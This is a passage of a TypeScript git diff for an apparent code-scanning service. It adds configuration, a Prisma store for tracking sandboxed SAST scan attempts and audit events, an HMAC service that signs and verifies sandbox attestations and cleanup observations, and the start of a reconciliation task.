Joi.string().valid('mock', 'internal').default('mock'), + SAST_ATTEMPT_RECONCILIATION_INTERVAL_MS: Joi.number() + .integer() + .min(10_000) + .max(300_000) + .default(10_000), + ANALYSIS_CLIENT_MODE: Joi.when('NODE_ENV', { + is: 'test', + then: Joi.string().valid('mock', 'internal').default('mock'), + otherwise: Joi.string().valid('internal').default('internal') + }), AI_SERVER_URL: Joi.string().uri().default('http://localhost:8000'), USE_INTERNAL_AI: Joi.string().valid('true', 'false').default('false'), AI_ADVISORY_TIMEOUT_MS: Joi.number().integer().positive().default(2500), diff --git a/apps/api/src/config/config.types.ts b/apps/api/src/config/config.types.ts index 63a416e..3f5263e 100644 --- a/apps/api/src/config/config.types.ts +++ b/apps/api/src/config/config.types.ts @@ -28,7 +28,9 @@ export interface EnvironmentVariables { TOKEN_ENCRYPTION_KEY: string; WORKLOAD_ATTESTATION_KEY: string; PREFLIGHT_ATTESTATION_KEY: string; + SANDBOX_ATTESTATION_KEY: string; CREDENTIAL_LEASE_EXPIRY_INTERVAL_MS: number; + SAST_ATTEMPT_RECONCILIATION_INTERVAL_MS: number; ANALYSIS_CLIENT_MODE: AnalysisClientMode; AI_SERVER_URL: string; USE_INTERNAL_AI: BooleanString; diff --git a/apps/api/src/scan-plane/prisma-sast-scanner-runtime.store.ts b/apps/api/src/scan-plane/prisma-sast-scanner-runtime.store.ts new file mode 100644 index 0000000..01a6d55 --- /dev/null +++ b/apps/api/src/scan-plane/prisma-sast-scanner-runtime.store.ts @@ -0,0 +1,556 @@ +import { createHash, randomUUID } from 'node:crypto'; + +import { + SAST_SANDBOX_CLEANUP_TIMEOUT_SECONDS, + buildSastScanPlanDigestPreimage, + isSastScanPlanValid, + type SastScannerExecutionRecord, + type SastScannerRuntimeAuditSignal, + type SastScannerWrapperExecutionRequest, + type SastScanPlan +} from '@aegisai/shared'; +import { Injectable } from '@nestjs/common'; +import { + ArchitectureScanStatus, + Prisma, + SastCredentialLeaseStatus, + type ScannerRunStatus, + type SastScanFailureClass, + type SastScanAttemptStage +} from '@prisma/client'; + +import { PrismaService } from '../prisma/prisma.service'; +import { + retryableInfrastructureFailure, + securityViolation +} from './scanner-runtime.errors'; +import { + type FinishSastAttemptInput, + type PersistedSastAttemptStage, + SastScannerRuntimeStore +} from './sast-scanner-runtime.store'; + +const OVERDUE_ATTEMPT_BATCH_SIZE = 100; +const OVERDUE_CLEANUP_REASON = 'SANDBOX_CLEANUP_EVIDENCE_OVERDUE'; + +interface LatestSastAttemptRetryState { + attemptNumber: number; + stage: SastScanAttemptStage; + failureClass: SastScanFailureClass | null; + retryEligible: boolean; + completedAt: Date | null; + finalAuditEventId: string | null; +} + +export function isSastAttemptSequenceEligible( + attemptNumber: number, + latestAttempt: LatestSastAttemptRetryState | null +): boolean { + if (attemptNumber === 1) { + return latestAttempt === null; + } + return ( + attemptNumber === 2 && + latestAttempt?.attemptNumber === 1 && + latestAttempt.stage === 'FAILED' && + latestAttempt.failureClass === 'RETRYABLE_INFRASTRUCTURE' && + latestAttempt.retryEligible === true && + latestAttempt.completedAt !== null && + latestAttempt.finalAuditEventId !== null + ); +} + +@Injectable() +export class PrismaSastScannerRuntimeStore extends SastScannerRuntimeStore { + constructor(private readonly prisma: PrismaService) { + super(); + } + + async beginAttempt( + request: Readonly, + startedAt: string + ): Promise { + try { + await this.prisma.$transaction( + async (transaction) => { + const scanRequest = await transaction.scanRequest.findFirst({ + where: { + id: request.plan.scanRequestId, + tenantId: request.plan.tenantId, + repositoryBindingId: + request.plan.repositoryState.repositoryBindingId, + status: ArchitectureScanStatus.RUNNING + }, + include: { + sastQueueReservation: { + select: { + canonicalScanKey: true, + immutablePlan: true + } + } + } + }); + + if (!scanRequest?.sastQueueReservation) { + throw securityViolation( + 'DURABLE_SCAN_PLAN_NOT_RUNNING', + 'Scanner execution requires a running durable scan and admitted plan.' + ); + } + + const durablePlan = + scanRequest.sastQueueReservation + .immutablePlan as unknown as SastScanPlan; + if ( + !isSastScanPlanValid(durablePlan) || + scanRequest.sastQueueReservation.canonicalScanKey !== + request.plan.canonicalScanKey || + this.planDigest(durablePlan) !== this.planDigest(request.plan) + ) { + throw securityViolation( + 'DURABLE_SCAN_PLAN_MISMATCH', + 'Runtime plan does not match the admitted durable scan plan.' + ); + } + + const activeAttempt = await transaction.sastScanAttempt.findFirst({ + where: { + scanRequestId: request.plan.scanRequestId, + stage: { + in: ['VALIDATING', 'SCANNING', 'CLEANUP_PENDING'] + } + }, + select: { id: true } + }); + if (activeAttempt) { + throw securityViolation( + 'SCAN_ATTEMPT_ALREADY_ACTIVE', + 'A scan may have only one active sandbox attempt.' + ); + } + + const latestAttempt = await transaction.sastScanAttempt.findFirst({ + where: { + scanRequestId: request.plan.scanRequestId + }, + orderBy: { + attemptNumber: 'desc' + }, + select: { + attemptNumber: true, + stage: true, + failureClass: true, + retryEligible: true, + completedAt: true, + finalAuditEventId: true + } + }); + + if ( + !isSastAttemptSequenceEligible( + request.attemptNumber, + latestAttempt + ) + ) { + throw securityViolation( + 'SCAN_ATTEMPT_RETRY_NOT_ELIGIBLE', + 'Attempt sequencing requires a first attempt with no predecessor or a completed retry-eligible infrastructure failure from attempt one.' + ); + } + + await transaction.sastScanAttempt.create({ + data: { + id: request.attemptId, + tenantId: request.plan.tenantId, + repositoryBindingId: + request.plan.repositoryState.repositoryBindingId, + scanRequestId: request.plan.scanRequestId, + attemptNumber: request.attemptNumber, + sandboxId: request.sandboxId, + workloadIdentityRef: request.workloadIdentityRef, + stage: 'VALIDATING', + retryEligible: false, + startedAt: new Date(startedAt), + attemptDeadlineAt: new Date( + request.sandboxAttestation.claims.attemptDeadlineAt + ) + } + }); + }, + { + isolationLevel: Prisma.TransactionIsolationLevel.Serializable + } + ); + } catch (error) { + if ( + error instanceof Prisma.PrismaClientKnownRequestError && + error.code === 'P2034' + ) { + throw retryableInfrastructureFailure( + 'SCAN_ATTEMPT_SERIALIZATION_CONFLICT', + 'Concurrent scan attempt admission must be retried.' + ); + } + if (this.isUniqueViolation(error)) { + throw securityViolation( + 'SCAN_ATTEMPT_REPLAYED', + 'The scan attempt identifier, scope, or attempt number was already used.' + ); + } + throw error; + } + } + + async markStage( + request: Readonly, + stage: Extract< + PersistedSastAttemptStage, + 'SCANNING' | 'CLEANUP_PENDING' + > + ): Promise { + const allowedPriorStages: SastScanAttemptStage[] = + stage === 'SCANNING' ? ['VALIDATING'] : ['VALIDATING', 'SCANNING']; + const result = await this.prisma.sastScanAttempt.updateMany({ + where: { + id: request.attemptId, + tenantId: request.plan.tenantId, + repositoryBindingId: + request.plan.repositoryState.repositoryBindingId, + scanRequestId: request.plan.scanRequestId, + sandboxId: request.sandboxId, + workloadIdentityRef: request.workloadIdentityRef, + stage: { in: allowedPriorStages } + }, + data: { stage } + }); + if (result.count !== 1) { + throw securityViolation( + 'SCAN_ATTEMPT_STAGE_CONFLICT', + 'Scan attempt stage transition was rejected.' + ); + } + } + + async recordScannerRun( + request: Readonly, + record: Readonly + ): Promise { + const startedAt = new Date(record.observation.startedAt); + const completedAt = new Date(record.observation.completedAt); + const durationMilliseconds = completedAt.getTime() - startedAt.getTime(); + + try { + await this.prisma.scannerRun.create({ + data: { + id: record.scannerRunId, + tenantId: request.plan.tenantId, + scanRequestId: request.plan.scanRequestId, + repositoryBindingId: + request.plan.repositoryState.repositoryBindingId, + attemptId: request.attemptId, + scanner: record.invocation.scanner, + scannerVersion: record.invocation.scannerVersion, + required: record.invocation.required, + wrapperDigest: record.invocation.wrapperDigest, + scannerImageDigest: record.invocation.scannerImageDigest, + ruleBundleDigest: record.invocation.ruleBundleDigest, + databaseDigest: + record.invocation.vulnerabilityDatabaseDigest, + scannerSetDigest: record.invocation.scannerSetDigest, + profileId: record.invocation.profileId, + profileDigest: record.invocation.profileDigest, + preflightAttestationRef: + record.invocation.preflightAttestationRef, + preflightInventoryDigest: + record.invocation.preflightInventoryDigest, + scannerWorkspaceInventoryDigest: + record.observation.scannerWorkspaceInventoryDigest, + artifactSchema: record.invocation.artifactSchema, + artifactSchemaVersion: + record.invocation.artifactSchemaVersion, + exitCode: record.observation.exitCode, + terminationSignal: record.observation.terminationSignal, + timedOut: record.observation.timedOut, + outputLimitExceeded: record.observation.outputLimitExceeded, + durationMilliseconds, + stdoutMetadata: + record.observation.stdout as unknown as Prisma.InputJsonValue, + stderrMetadata: + record.observation.stderr as unknown as Prisma.InputJsonValue, + resourceMetadata: + record.observation.resources as unknown as Prisma.InputJsonValue, + artifactMetadata: record.observation.artifact + ? (record.observation.artifact as unknown as Prisma.InputJsonValue) + : undefined, + status: this.scannerRunStatus(record.status), + rawArtifactObjectKey: + record.observation.artifact?.artifactRef, + errorMessage: + record.status === 'SUCCEEDED' ? null : record.status, + startedAt, + completedAt + } + }); + } catch (error) { + if (this.isUniqueViolation(error)) { + throw securityViolation( + 'SCANNER_RUN_REPLAYED', + 'A scanner may execute only once per scan attempt.' + ); + } + throw error; + } + } + + async recordAuditSignal( + signal: Readonly + ): Promise { + await this.prisma.auditEvent.create({ + data: { + id: signal.eventId, + tenantId: signal.tenantId, + scanRequestId: signal.scanRequestId, + attemptId: signal.attemptId, + eventType: signal.eventType, + actor: signal.workloadIdentityRef, + targetType: signal.scannerRunId + ? 'scanner_run' + : signal.scanner + ? 'scanner' + : 'sast_scan_attempt', + targetId: + signal.scannerRunId ?? + (signal.scanner + ? `${signal.attemptId}:${signal.scanner}` + : signal.attemptId), + occurredAt: new Date(signal.occurredAt), + metadata: this.toJson({ + repositoryBindingId: signal.repositoryBindingId, + sandboxId: signal.sandboxId, + workloadIdentityRef: signal.workloadIdentityRef, + scanner: signal.scanner, + scannerRunId: signal.scannerRunId, + executionStatus: signal.executionStatus, + reasonCode: signal.reasonCode, + metadataDigest: signal.metadataDigest + }) + } + }); + } + + async isCredentialHandoffTerminal( + request: Readonly + ): Promise { + const terminalLease = + await this.prisma.sastRepositoryCredentialLease.count({ + where: { + tenantId: request.plan.tenantId, + repositoryBindingId: + request.plan.repositoryState.repositoryBindingId, + scanRequestId: request.plan.scanRequestId, + attemptId: request.attemptId, + status: { + in: [ + SastCredentialLeaseStatus.WIPED, + SastCredentialLeaseStatus.REVOKED + ] + } + } + }); + return terminalLease === 1; + } + + async failOverdueAttempts(referenceTime: string): Promise { + const completedAt = new Date(referenceTime); + if (!Number.isFinite(completedAt.getTime())) { + throw new Error('Overdue attempt reconciliation reference time is invalid.'); + } + const overdueBefore = new Date( + completedAt.getTime() - + SAST_SANDBOX_CLEANUP_TIMEOUT_SECONDS * 1_000 + ); + const candidates = await this.prisma.sastScanAttempt.findMany({ + where: { + stage: { in: ['VALIDATING', 'SCANNING', 'CLEANUP_PENDING'] }, + attemptDeadlineAt: { lte: overdueBefore } + }, + select: { id: true }, + orderBy: [{ attemptDeadlineAt: 'asc' }, { id: 'asc' }], + take: OVERDUE_ATTEMPT_BATCH_SIZE + }); + + let reconciled = 0; + for (const candidate of candidates) { + try { + const transitioned = await this.prisma.$transaction( + async (transaction) => { + const attempt = await transaction.sastScanAttempt.findFirst({ + where: { + id: candidate.id, + stage: { + in: ['VALIDATING', 'SCANNING', 'CLEANUP_PENDING'] + }, + attemptDeadlineAt: { lte: overdueBefore } + }, + select: { + id: true, + tenantId: true, + repositoryBindingId: true, + scanRequestId: true, + sandboxId: true, + workloadIdentityRef: true, + attemptDeadlineAt: true + } + }); + if (!attempt) { + return false; + } + + const eventId = `audit_${randomUUID()}`; + await transaction.auditEvent.create({ + data: { + id: eventId, + tenantId: attempt.tenantId, + scanRequestId: attempt.scanRequestId, + attemptId: attempt.id, + eventType: 'sandbox.cleanup_failed', + actor: 'sast-attempt-reconciler', + targetType: 'sast_scan_attempt', + targetId: attempt.id, + occurredAt: completedAt, + metadata: { + repositoryBindingId: attempt.repositoryBindingId, + sandboxId: attempt.sandboxId, + workloadIdentityRef: attempt.workloadIdentityRef, + attemptDeadlineAt: + attempt.attemptDeadlineAt.toISOString(), + reasonCode: OVERDUE_CLEANUP_REASON + } + } + }); + const update = await transaction.sastScanAttempt.updateMany({ + where: { + id: attempt.id, + tenantId: attempt.tenantId, + stage: { + in: ['VALIDATING', 'SCANNING', 'CLEANUP_PENDING'] + } + }, + data: { + stage: 'CLEANUP_FAILED', + failureClass: 'SECURITY_VIOLATION', + failureReason: OVERDUE_CLEANUP_REASON, + retryEligible: false, + finalAuditEventId: eventId, + completedAt + } + }); + if (update.count !== 1) { + throw retryableInfrastructureFailure( + 'OVERDUE_ATTEMPT_RECONCILIATION_CONFLICT', + 'Overdue attempt state changed during reconciliation.' + ); + } + return true; + }, + { + isolationLevel: Prisma.TransactionIsolationLevel.Serializable + } + ); + if (transitioned) { + reconciled += 1; + } + } catch (error) { + if ( + error instanceof Prisma.PrismaClientKnownRequestError && + error.code === 'P2034' + ) { + continue; + } + throw error; + } + } + return reconciled; + } + + async finishAttempt(input: FinishSastAttemptInput): Promise { + const cleanupEvidence = input.cleanup + ? (input.cleanup as unknown as Prisma.InputJsonValue) + : undefined; + const cleanupEvidenceDigest = input.cleanup + ? this.digest(JSON.stringify(input.cleanup)) + : undefined; + const update = await this.prisma.sastScanAttempt.updateMany({ + where: { + id: input.request.attemptId, + tenantId: input.request.plan.tenantId, + repositoryBindingId: + input.request.plan.repositoryState.repositoryBindingId, + scanRequestId: input.request.plan.scanRequestId, + sandboxId: input.request.sandboxId, + workloadIdentityRef: input.request.workloadIdentityRef, + stage: { in: ['VALIDATING', 'SCANNING', 'CLEANUP_PENDING'] } + }, + data: { + stage: input.stage, + failureClass: input.failureClass, + failureReason: input.reasonCode?.slice(0, 255), + retryEligible: input.retryEligible, + cleanupEvidence, + cleanupEvidenceDigest, + finalAuditEventId: input.finalAuditEventId, + completedAt: new Date(input.completedAt) + } + }); + if (update.count !== 1) { + throw retryableInfrastructureFailure( + 'SCAN_ATTEMPT_FINALIZATION_CONFLICT', + 'Scan attempt finalization could not be committed.' + ); + } + } + + private scannerRunStatus(status: string): ScannerRunStatus { + if (status === 'SUCCEEDED') { + return 'COMPLETED'; + } + if (status === 'TIMED_OUT') { + return 'TIMED_OUT'; + } + if (status === 'PENDING') { + return 'QUEUED'; + } + if (status === 'RUNNING') { + return 'RUNNING'; + } + if (status === 'SKIPPED_BY_POLICY') { + return 'SKIPPED'; + } + if (status === 'QUARANTINED') { + return 'QUARANTINED'; + } + if (status === 'KILLED') { + return 'KILLED'; + } + return 'FAILED'; + } + + private planDigest(plan: SastScanPlan): string { + return this.digest(buildSastScanPlanDigestPreimage(plan)); + } + + private digest(value: string): `sha256:${string}` { + return `sha256:${createHash('sha256').update(value, 'utf8').digest('hex')}`; + } + + private isUniqueViolation(error: unknown): boolean { + return ( + error instanceof Prisma.PrismaClientKnownRequestError && + error.code === 'P2002' + ); + } + + private toJson(value: unknown): Prisma.InputJsonValue { + return JSON.parse(JSON.stringify(value)) as Prisma.InputJsonValue; + } +} diff --git a/apps/api/src/scan-plane/sandbox-runtime-attestation.service.ts b/apps/api/src/scan-plane/sandbox-runtime-attestation.service.ts new file mode 100644 index 0000000..3515f56 --- /dev/null +++ b/apps/api/src/scan-plane/sandbox-runtime-attestation.service.ts @@ -0,0 +1,465 @@ +import { + createHash, + createHmac, + randomBytes, + timingSafeEqual +} from 'node:crypto'; + +import { + MAX_SAST_SANDBOX_ATTESTATION_TTL_SECONDS, + SAST_SANDBOX_ATTESTATION_AUDIENCE, + SAST_SANDBOX_ATTESTATION_ISSUER, + SAST_SANDBOX_ATTESTATION_VERSION, + buildSastScanPlanDigestPreimage, + isSastSandboxRuntimePolicyValid, + isSastScanPlanValid, + type SastSandboxCleanupObservation, + type SastSandboxRuntimeAttestation, + type SastSandboxRuntimeAttestationClaims, + type SastSandboxRuntimePolicy, + type SastScanPlan, + type SastSignedSandboxCleanupObservation +} from '@aegisai/shared'; +import { Injectable } from '@nestjs/common'; + +import { ConfigService } from '../config/config.service'; + +const MAX_CLOCK_SKEW_MS = 5_000; + +export interface SandboxRuntimeAttestationBinding { + plan: Readonly; + attemptId: string; + attemptNumber: number; + sandboxId: string; + workloadIdentityRef: string; + policy: Readonly; +} + +@Injectable() +export class SandboxRuntimeAttestationService { + constructor(private readonly config: ConfigService) {} + + issue( + binding: SandboxRuntimeAttestationBinding, + now = new Date(), + ttlSeconds = MAX_SAST_SANDBOX_ATTESTATION_TTL_SECONDS + ): SastSandboxRuntimeAttestation { + if ( + !Number.isSafeInteger(ttlSeconds) || + ttlSeconds < 1 || + ttlSeconds > MAX_SAST_SANDBOX_ATTESTATION_TTL_SECONDS || + !Number.isSafeInteger(binding.attemptNumber) || + binding.attemptNumber < 1 || + binding.attemptNumber > 2 || + !isSastScanPlanValid(binding.plan) || + !isSastSandboxRuntimePolicyValid(binding.policy, binding.plan) + ) { + throw new Error('Sandbox runtime attestation binding is invalid.'); + } + + const issuedAt = now.toISOString(); + const attemptDeadlineAt = new Date( + now.getTime() + + binding.plan.profile.limits.wallClockTimeoutSeconds * 1_000 + ).toISOString(); + const claims: SastSandboxRuntimeAttestationClaims = { + version: SAST_SANDBOX_ATTESTATION_VERSION, + issuer: SAST_SANDBOX_ATTESTATION_ISSUER, + audience: SAST_SANDBOX_ATTESTATION_AUDIENCE, + tenantId: binding.plan.tenantId, + repositoryBindingId: binding.plan.repositoryState.repositoryBindingId, + scanRequestId: binding.plan.scanRequestId, + attemptId: binding.attemptId, + attemptNumber: binding.attemptNumber, + sandboxId: binding.sandboxId, + workloadIdentityRef: binding.workloadIdentityRef, + planDigest: this.planDigest(binding.plan), + canonicalScanKey: binding.plan.canonicalScanKey, + fixedCommitSha: binding.plan.repositoryState.fixedCommitSha, + profileId: binding.plan.profile.id, + profileDigest: binding.plan.profileDigest, + scannerSetDigest: binding.plan.scannerSet.scannerSetDigest, + preflightAttestationRef: binding.plan.repositoryState.attestationRef, + preflightInventoryDigest: binding.plan.repositoryState.inventoryDigest, + policy: binding.policy, + nonce: randomBytes(16).toString('hex'), + issuedAt, + expiresAt: new Date(now.getTime() + ttlSeconds * 1_000).toISOString(), + attemptDeadlineAt + }; + + return { + claims, + signature: this.sign('sandbox-runtime-attestation', this.canonicalClaims(claims)) + }; + } + + verify( + attestation: SastSandboxRuntimeAttestation, + expected: SandboxRuntimeAttestationBinding, + now = new Date() + ): boolean { + try { + const claims = attestation?.claims; + if ( + !claims || + !isSastScanPlanValid(expected.plan) || + !this.hasOnlyKeys(attestation, ['claims', 'signature']) || + !this.hasOnlyKeys(claims, [ + 'attemptId', + 'attemptNumber', + 'attemptDeadlineAt', + 'audience', + 'canonicalScanKey', + 'expiresAt', + 'fixedCommitSha', + 'issuedAt', + 'issuer', + 'nonce', + 'planDigest', + 'policy', + 'preflightAttestationRef', + 'preflightInventoryDigest', + 'profileDigest', + 'profileId', + 'repositoryBindingId', + 'sandboxId', + 'scannerSetDigest', + 'scanRequestId', + 'tenantId', + 'version', + 'workloadIdentityRef' + ]) || + !this.safeEqual( + attestation.signature, + this.sign( + 'sandbox-runtime-attestation', + this.canonicalClaims(claims) + ) + ) || + !isSastSandboxRuntimePolicyValid(claims.policy, expected.plan) + ) { + return false; + } + + const issuedAt = Date.parse(claims.issuedAt); + const expiresAt = Date.parse(claims.expiresAt); + const attemptDeadlineAt = Date.parse(claims.attemptDeadlineAt); + const maximumExpiry = + issuedAt + MAX_SAST_SANDBOX_ATTESTATION_TTL_SECONDS * 1_000; + const expectedAttemptDeadline = + issuedAt + + expected.plan.profile.limits.wallClockTimeoutSeconds * 1_000; + + return ( + claims.version === SAST_SANDBOX_ATTESTATION_VERSION && + claims.issuer === SAST_SANDBOX_ATTESTATION_ISSUER && + claims.audience === SAST_SANDBOX_ATTESTATION_AUDIENCE && + claims.tenantId === expected.plan.tenantId && + claims.repositoryBindingId === + expected.plan.repositoryState.repositoryBindingId && + claims.scanRequestId === expected.plan.scanRequestId && + claims.attemptId === expected.attemptId && + claims.attemptNumber === expected.attemptNumber && + claims.sandboxId === expected.sandboxId && + claims.workloadIdentityRef === expected.workloadIdentityRef && + claims.planDigest === this.planDigest(expected.plan) && + claims.canonicalScanKey === expected.plan.canonicalScanKey && + claims.fixedCommitSha === + expected.plan.repositoryState.fixedCommitSha && + claims.profileId === expected.plan.profile.id && + claims.profileDigest === expected.plan.profileDigest && + claims.scannerSetDigest === + expected.plan.scannerSet.scannerSetDigest && + claims.preflightAttestationRef === + expected.plan.repositoryState.attestationRef && + claims.preflightInventoryDigest === + expected.plan.repositoryState.inventoryDigest && + this.canonicalPolicy(claims.policy) === + this.canonicalPolicy(expected.policy) && + /^[a-f0-9]{32}$/u.test(claims.nonce) && + Number.isFinite(issuedAt) && + Number.isFinite(expiresAt) && + Number.isFinite(attemptDeadlineAt) && + issuedAt <= now.getTime() + MAX_CLOCK_SKEW_MS && + expiresAt > now.getTime() && + expiresAt > issuedAt && + expiresAt <= maximumExpiry && + attemptDeadlineAt === expectedAttemptDeadline && + attemptDeadlineAt > now.getTime() + ); + } catch { + return false; + } + } + + issueCleanup( + observation: SastSandboxCleanupObservation + ): SastSignedSandboxCleanupObservation { + this.assertCleanupShape(observation); + if ( + !this.hasOnlyKeys(observation, [ + 'attemptId', + 'completedAt', + 'credentialRevokedAndWiped', + 'microVmTerminated', + 'nonce', + 'repositoryBindingId', + 'resultIngressClosed', + 'sandboxId', + 'scannerProcessesTerminated', + 'scanRequestId', + 'tenantId', + 'workloadIdentityRef', + 'writableVolumesDestroyed' + ]) + ) { + throw new Error('Sandbox cleanup observation contains unknown fields.'); + } + return { + observation, + signature: this.sign( + 'sandbox-cleanup-observation', + this.canonicalCleanup(observation) + ) + }; + } + + verifyCleanup( + signed: SastSignedSandboxCleanupObservation, + expected: Omit< + SastSandboxCleanupObservation, + | 'credentialRevokedAndWiped' + | 'scannerProcessesTerminated' + | 'writableVolumesDestroyed' + | 'microVmTerminated' + | 'resultIngressClosed' + | 'completedAt' + | 'nonce' + >, + now = new Date() + ): boolean { + try { + const observation = signed?.observation; + this.assertCleanupShape(observation); + const completedAt = Date.parse(observation.completedAt); + + return ( + this.hasOnlyKeys(signed, ['observation', 'signature']) && + this.hasOnlyKeys(observation, [ + 'attemptId', + 'completedAt', + 'credentialRevokedAndWiped', + 'microVmTerminated', + 'nonce', + 'repositoryBindingId', + 'resultIngressClosed', + 'sandboxId', + 'scannerProcessesTerminated', + 'scanRequestId', + 'tenantId', + 'workloadIdentityRef', + 'writableVolumesDestroyed' + ]) && + this.safeEqual( + signed.signature, + this.sign( + 'sandbox-cleanup-observation', + this.canonicalCleanup(observation) + ) + ) && + observation.tenantId === expected.tenantId && + observation.repositoryBindingId === expected.repositoryBindingId && + observation.scanRequestId === expected.scanRequestId && + observation.attemptId === expected.attemptId && + observation.sandboxId === expected.sandboxId && + observation.workloadIdentityRef === expected.workloadIdentityRef && + observation.credentialRevokedAndWiped === true && + observation.scannerProcessesTerminated === true && + observation.writableVolumesDestroyed === true && + observation.microVmTerminated === true && + observation.resultIngressClosed === true && + completedAt <= now.getTime() + MAX_CLOCK_SKEW_MS && + completedAt >= + now.getTime() - + MAX_SAST_SANDBOX_ATTESTATION_TTL_SECONDS * 1_000 + ); + } catch { + return false; + } + } + + private assertCleanupShape( + observation: SastSandboxCleanupObservation + ): void { + if ( + !observation || + !this.isBoundedIdentifier(observation.tenantId, 255) || + !this.isBoundedIdentifier(observation.repositoryBindingId, 255) || + !this.isBoundedIdentifier(observation.scanRequestId, 255) || + !this.isBoundedIdentifier(observation.attemptId, 255) || + !this.isBoundedIdentifier(observation.sandboxId, 255) || + !this.isBoundedIdentifier(observation.workloadIdentityRef, 512) || + !Number.isFinite(Date.parse(observation.completedAt)) || + !/^[a-f0-9]{32}$/u.test(observation.nonce) || + typeof observation.credentialRevokedAndWiped !== 'boolean' || + typeof observation.scannerProcessesTerminated !== 'boolean' || + typeof observation.writableVolumesDestroyed !== 'boolean' || + typeof observation.microVmTerminated !== 'boolean' || + typeof observation.resultIngressClosed !== 'boolean' + ) { + throw new Error('Sandbox cleanup observation is invalid.'); + } + } + + private hasOnlyKeys(value: unknown, allowedKeys: readonly string[]): boolean { + if (!value || typeof value !== 'object' || Array.isArray(value)) { + return false; + } + const allowed = new Set(allowedKeys); + return Object.keys(value).every((key) => allowed.has(key)); + } + + private planDigest(plan: SastScanPlan): `sha256:${string}` { + return `sha256:${createHash('sha256') + .update(buildSastScanPlanDigestPreimage(plan), 'utf8') + .digest('hex')}`; + } + + private canonicalClaims( + claims: SastSandboxRuntimeAttestationClaims + ): string { + return JSON.stringify({ + version: claims.version, + issuer: claims.issuer, + audience: claims.audience, + tenantId: claims.tenantId, + repositoryBindingId: claims.repositoryBindingId, + scanRequestId: claims.scanRequestId, + attemptId: claims.attemptId, + attemptNumber: claims.attemptNumber, + sandboxId: claims.sandboxId, + workloadIdentityRef: claims.workloadIdentityRef, + planDigest: claims.planDigest, + canonicalScanKey: claims.canonicalScanKey, + fixedCommitSha: claims.fixedCommitSha, + profileId: claims.profileId, + profileDigest: claims.profileDigest, + scannerSetDigest: claims.scannerSetDigest, + preflightAttestationRef: claims.preflightAttestationRef, + preflightInventoryDigest: claims.preflightInventoryDigest, + policy: JSON.parse(this.canonicalPolicy(claims.policy)) as unknown, + nonce: claims.nonce, + issuedAt: claims.issuedAt, + expiresAt: claims.expiresAt, + attemptDeadlineAt: claims.attemptDeadlineAt + }); + } + + private canonicalPolicy(policy: SastSandboxRuntimePolicy): string { + return JSON.stringify({ + sandboxProvider: policy.sandboxProvider, + isolationClass: policy.isolationClass, + runAsNonRoot: policy.runAsNonRoot, + readOnlyRootFilesystem: policy.readOnlyRootFilesystem, + readOnlyRepository: policy.readOnlyRepository, + privateWritableOutput: policy.privateWritableOutput, + shellInterpolationAllowed: policy.shellInterpolationAllowed, + customerEnvironmentAllowed: policy.customerEnvironmentAllowed, + customerExecutableConfigAllowed: + policy.customerExecutableConfigAllowed, + customerSuppressionConfigAllowed: + policy.customerSuppressionConfigAllowed, + repositoryToolConfigDiscoveryAllowed: + policy.repositoryToolConfigDiscoveryAllowed, + packageInstallAllowed: policy.packageInstallAllowed, + repositoryBuildAllowed: policy.repositoryBuildAllowed, + dynamicExecutionAllowed: policy.dynamicExecutionAllowed, + runtimeAssetUpdateAllowed: policy.runtimeAssetUpdateAllowed, + publicInternetEgressAllowed: policy.publicInternetEgressAllowed, + cloudMetadataAccessAllowed: policy.cloudMetadataAccessAllowed, + networkEgressPolicy: policy.networkEgressPolicy, + resourceLimits: { + cpuMillicores: policy.resourceLimits.cpuMillicores, + memoryMiB: policy.resourceLimits.memoryMiB, + ephemeralDiskMiB: policy.resourceLimits.ephemeralDiskMiB, + processLimit: policy.resourceLimits.processLimit, + fileDescriptorLimit: policy.resourceLimits.fileDescriptorLimit, + maxFindings: policy.resourceLimits.maxFindings, + maxArtifactBytes: policy.resourceLimits.maxArtifactBytes, + maxArtifactRecords: policy.resourceLimits.maxArtifactRecords, + maxStdoutStderrBytes: + policy.resourceLimits.maxStdoutStderrBytes, + wallClockTimeoutSeconds: + policy.resourceLimits.wallClockTimeoutSeconds + } + }); + } + + private canonicalCleanup( + observation: SastSandboxCleanupObservation + ): string { + return JSON.stringify({ + version: '1', + tenantId: observation.tenantId, + repositoryBindingId: observation.repositoryBindingId, + scanRequestId: observation.scanRequestId, + attemptId: observation.attemptId, + sandboxId: observation.sandboxId, + workloadIdentityRef: observation.workloadIdentityRef, + credentialRevokedAndWiped: + observation.credentialRevokedAndWiped, + scannerProcessesTerminated: + observation.scannerProcessesTerminated, + writableVolumesDestroyed: observation.writableVolumesDestroyed, + microVmTerminated: observation.microVmTerminated, + resultIngressClosed: observation.resultIngressClosed, + completedAt: observation.completedAt, + nonce: observation.nonce + }); + } + + private sign( + domain: 'sandbox-runtime-attestation' | 'sandbox-cleanup-observation', + payload: string + ): `sha256:${string}` { + const key = Buffer.from( + this.config.get('SANDBOX_ATTESTATION_KEY'), + 'hex' + ); + try { + return `sha256:${createHmac('sha256', key) + .update(`${domain}\0${payload}`, 'utf8') + .digest('hex')}`; + } finally { + key.fill(0); + } + } + + private safeEqual(actual: string, expected: string): boolean { + if ( + !/^sha256:[a-f0-9]{64}$/u.test(actual) || + !/^sha256:[a-f0-9]{64}$/u.test(expected) + ) { + return false; + } + const actualBuffer = Buffer.from(actual, 'utf8'); + const expectedBuffer = Buffer.from(expected, 'utf8'); + return ( + actualBuffer.length === expectedBuffer.length && + timingSafeEqual(actualBuffer, expectedBuffer) + ); + } + + private isBoundedIdentifier(value: string, maximumBytes: number): boolean { + return ( + typeof value === 'string' && + value.trim().length > 0 && + Buffer.byteLength(value, 'utf8') <= maximumBytes && + !Array.from(value).some((character) => { + const codePoint = character.codePointAt(0) ?? 0; + return codePoint <= 31 || codePoint === 127; + }) + ); + } +} diff --git a/apps/api/src/scan-plane/sast-attempt-reconciliation.task.ts b/apps/api/src/scan-plane/sast-attempt-reconciliation.task.ts new file mode 100644 index 0000000..072e4e1 --- /dev/null +++ b/apps/api/src/scan-plane/sast-attempt-reconciliation.task.ts @@ -0,0 +1,57 @@ +import { + Injectable, + Logger, + OnModuleDestroy, + OnModuleInit +} from '@nestjs/common'; + +import { ConfigService } from '../config/config.service'; +import { SastScannerRuntimeStore } from './sast-scanner-runtime.store'; + +@Injectable() +export class SastAttemptReconciliationTask + implements OnModuleInit, OnModuleDestroy +{ + private readonly logger = new Logger(SastAttemptReconciliationTask.name); + private timer: NodeJS.Timeout | null = null; + private reconciliationInFlight = false; + + constructor( + private readonly store: SastScannerRuntimeStore, + private readonly config: ConfigService + ) {} + + onModuleInit(): void { + if (this.config.isTest()) { + return; + } + this.timer = setInterval(() => { + if 